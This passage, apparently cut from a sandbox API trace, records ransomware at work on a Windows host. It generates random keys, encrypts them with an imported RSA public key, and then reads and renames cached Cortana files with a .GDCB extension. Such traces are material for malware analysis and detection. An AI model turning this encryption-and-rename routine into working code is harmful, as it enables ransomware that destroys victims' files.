Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0251.064] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.070] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.070] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.074] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.074] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.075] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.077] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780e08) returned 1 [0251.077] CryptGetKeyParam (in: hKey=0x6780e08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.077] CryptEncrypt (in: hKey=0x6780e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.078] GetLastError () returned 0x0 [0251.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.078] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.080] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780e48) returned 1 [0251.080] CryptGetKeyParam (in: hKey=0x6780e48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.080] CryptEncrypt (in: hKey=0x6780e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.080] GetLastError () returned 0x0 [0251.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.080] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.081] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.084] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.087] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d7e0, lpOverlapped=0x0) returned 1 [0251.096] VirtualAlloc (lpAddress=0x0, dwSize=0x1d7e0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.109] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\12\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\12\\zinc[1].htm.gdcb")) returned 1 [0251.115] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.122] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.122] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.122] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.128] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.128] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.128] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.128] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.131] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780f88) returned 1 [0251.131] CryptGetKeyParam (in: hKey=0x6780f88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.131] CryptEncrypt (in: hKey=0x6780f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.131] GetLastError () returned 0x0 [0251.131] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.131] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.134] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781048) returned 1 [0251.134] CryptGetKeyParam (in: hKey=0x6781048, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.134] CryptEncrypt (in: hKey=0x6781048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.134] GetLastError () returned 0x0 [0251.134] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.134] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.136] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.140] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.143] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1bd0, lpOverlapped=0x0) returned 1 [0251.152] VirtualAlloc (lpAddress=0x0, dwSize=0x1bd0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.160] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\045d3532[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\045d3532[1].js.gdcb")) returned 1 [0251.164] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.168] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.169] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.169] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.171] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.173] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.173] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.173] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.173] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.175] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780fc8) returned 1 [0251.175] CryptGetKeyParam (in: hKey=0x6780fc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.175] CryptEncrypt (in: hKey=0x6780fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.175] GetLastError () returned 0x0 [0251.175] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.176] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.177] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780ec8) returned 1 [0251.177] CryptGetKeyParam (in: hKey=0x6780ec8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.177] CryptEncrypt (in: hKey=0x6780ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.177] GetLastError () returned 0x0 [0251.178] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.178] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\09b80652[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\09b80652[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.179] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.181] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.183] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x97a7, lpOverlapped=0x0) returned 1 [0251.192] VirtualAlloc (lpAddress=0x0, dwSize=0x97b0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.199] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\09b80652[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\09b80652[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\09b80652[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\09b80652[1].css.gdcb")) returned 1 [0251.202] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.207] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.207] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.208] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.212] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.212] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.213] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.215] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780f08) returned 1 [0251.215] CryptGetKeyParam (in: hKey=0x6780f08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.215] CryptEncrypt (in: hKey=0x6780f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.215] GetLastError () returned 0x0 [0251.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.215] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.218] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67808c8) returned 1 [0251.218] CryptGetKeyParam (in: hKey=0x67808c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.218] CryptEncrypt (in: hKey=0x67808c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.218] GetLastError () returned 0x0 [0251.218] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.218] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.219] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.222] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.224] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x19270, lpOverlapped=0x0) returned 1 [0251.232] VirtualAlloc (lpAddress=0x0, dwSize=0x19270, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.240] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js.gdcb")) returned 1 [0251.243] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.248] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.248] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.248] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.248] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.252] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.253] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.255] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781448) returned 1 [0251.255] CryptGetKeyParam (in: hKey=0x6781448, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.255] CryptEncrypt (in: hKey=0x6781448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.255] GetLastError () returned 0x0 [0251.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.255] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.257] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781488) returned 1 [0251.257] CryptGetKeyParam (in: hKey=0x6781488, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.257] CryptEncrypt (in: hKey=0x6781488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.257] GetLastError () returned 0x0 [0251.257] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.257] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.259] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.261] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.263] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x89f0, lpOverlapped=0x0) returned 1 [0251.271] VirtualAlloc (lpAddress=0x0, dwSize=0x89f0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.277] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js.GDCB" (normalized: "c:\\documents and 